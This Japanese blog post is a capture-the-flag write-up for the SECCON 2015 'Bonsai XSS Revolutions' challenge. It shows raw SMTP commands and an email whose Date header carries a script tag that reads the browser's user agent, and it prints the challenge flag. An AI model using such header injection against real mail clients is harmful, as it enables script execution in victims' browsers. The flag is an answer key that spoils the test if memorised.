SECCON2015のオンライン予選で出題された「Bonsai Xss Revolutions」を実際に解いてみる。
僕のプロフィールはこちら
使うもの
URL:「https://github.com/SECCON/SECCON2015_online_CTF/blob/master/Web_Network/200_Bonsai%20XSS%20Revolutions/hakoniwaWebMail_20151124.zip」
↑ここからzipファイルをダウンロードします。
中にあるexeファイルを使います。
問題
What is your browser(User-Agent)?
Requirement:NET Framework 4.5
ーーー
ブラウザの名称(User-Agent)を答えよ。
必要環境 .NET Framework 4.5
実際に問題を解いてみる
まずはexeファイルがあるので「hakoniwaWebMail.exe」実行してみます。
画面が立ち上がりました。
メールアドレスなどが記載されていることから、「SMTP」とか関係するのかなと疑っておきます。
画面を操作しようとすると「You can NOT operate anything.」と表示され操作できません。
操作できないと何も分からないので、もう一度exeファイルを実行してみると上記のようなエラーが出ます。
ってことは、「何かしらポートを待ち受けているのかな」とも思えるので、実際に調べてみましょう。
1 |
tasklist | find "hakoniwaWebMail.exe" |
1 |
netstat -ano | find “tasklistコマンドで表示されたPID“ |
ここから25番ポートに接続できることが分かります。
Teratermで上記のように接続してみます。
接続できましたね。
では、一旦メールを送ってみましょう。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
HELO sample.com MAIL FROM: hoge@sample.com RCPT TO: keigo.yamazaki@tsuribori.test DATA Date: 2020/01/27 02:38 From: hoge@sample.com To: keigo.yamazaki@tsuribori.test Subject: Test Mail Test Mail . QUIT |
上記のコマンドを実行します。
Teratermだとなんかやりにくかったので、Puttyにしました。
実行すると上記のようになります。
おっ!
メールが送信されていますね。
どうやらここまでは順調な模様。
さて、問題を解くにあたり、ここから何をすればいいのか分かりませんね。
ってことで、一旦コーヒーでも飲みます。
・
・
・
で、落ち着いたところで重要なことを忘れていました。
この問題は「Web/Network」カテゴリの問題なのです。
Networkさは出ていますが、Webに関しては何も出てきてませんね。
ということは、「メールを送信し、XSS(クロスサイトスクリプティング)あたりでフラグを入手するのかな」と思えます。
少なくとも脆弱性を突くんだろうなという、おおよその検討は尽きます。
ってことでやってみます。
メールは「送信元」「送信先」「日付」「件名」「本文」の5つで構成されています。
この5つを順番に攻めていきたい、ところですが、答えを先に知っているので「日付」を狙いますw
また、スクリプトを実行するにあたり、本問題は「ユーザエージェントを見つけること」がミッションです。
1 |
window.navigator.userAgent |
ユーザエージェントを表示するスクリプトはこんな感じです。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
HELO gmail.com MAIL FROM: hoge@sample.com RCPT TO: keigo.yamazaki@tsuribori.test DATA Date: 2020/01/27 02:38<script>alert(window.navigator.userAgent)</script> From: hoge@sample.com To: keigo.yamazaki@tsuribori.test Subject: Test Mail Test Mail . QUIT |
こんな感じで、スクリプトを仕込んだメールを送信してみます。
すると、見事にフラグをゲットできましたね!!
終わり!!
本問題のフラグ
SECCON{TsuriboriWebBros/2015.12.17620}
おすすめ本
CTFの勉強にはもってこい!
まとめ
今回の問題は比較的簡単な方なんですかね。
にしても、色々知識がないと問題解けないですね。。
ってことでさいなら。